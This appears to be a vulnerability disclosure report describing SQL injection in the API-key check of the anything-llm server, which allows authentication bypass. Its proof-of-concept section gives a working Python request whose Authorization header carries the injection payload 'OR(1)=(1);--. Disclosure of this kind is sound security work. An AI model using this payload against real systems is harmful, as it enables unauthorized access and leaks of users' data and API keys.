SQL injection and Authentication bypass in mintplex-labs/anything-llm
Reported on
Sep 3rd 2023
Description
The validApiKey
middleware, which is responsible for verifying API keys provided in the request's Authorization
header, is susceptible to SQL injection. This vulnerability can potentially lead to an authentication bypass, granting unauthorized access to API endpoints.
NOTE: It's worth noting that this SQL injection vulnerability may also expose sensitive data through various attack methods, including blind and time-based attacks.
Proof of Concept
import requests
url = "http://localhost:3001/api/v1/system"
headers = {
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/116.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate",
"Referer": "http://localhost:3000/",
"Connection": "close",
"Authorization": "Bearer not_valid_api_key'OR(1)=(1);--", # Injection here
"Upgrade-Insecure-Requests": "1",
"Sec-Fetch-Dest": "document",
"Sec-Fetch-Mode": "navigate",
"Sec-Fetch-Site": "same-origin",
"Sec-Fetch-User": "?1",
"If-None-Match": "W/\"773-MdgLun6ESFXPFk/WGHQAe92jMuI\"",
}
response = requests.get(url, headers=headers)
print(response.text)
Impact
This vulnerability can potentially lead to an authentication bypass, granting unauthorized access to API endpoints. And sensitive data leaks such users informations, api keys ...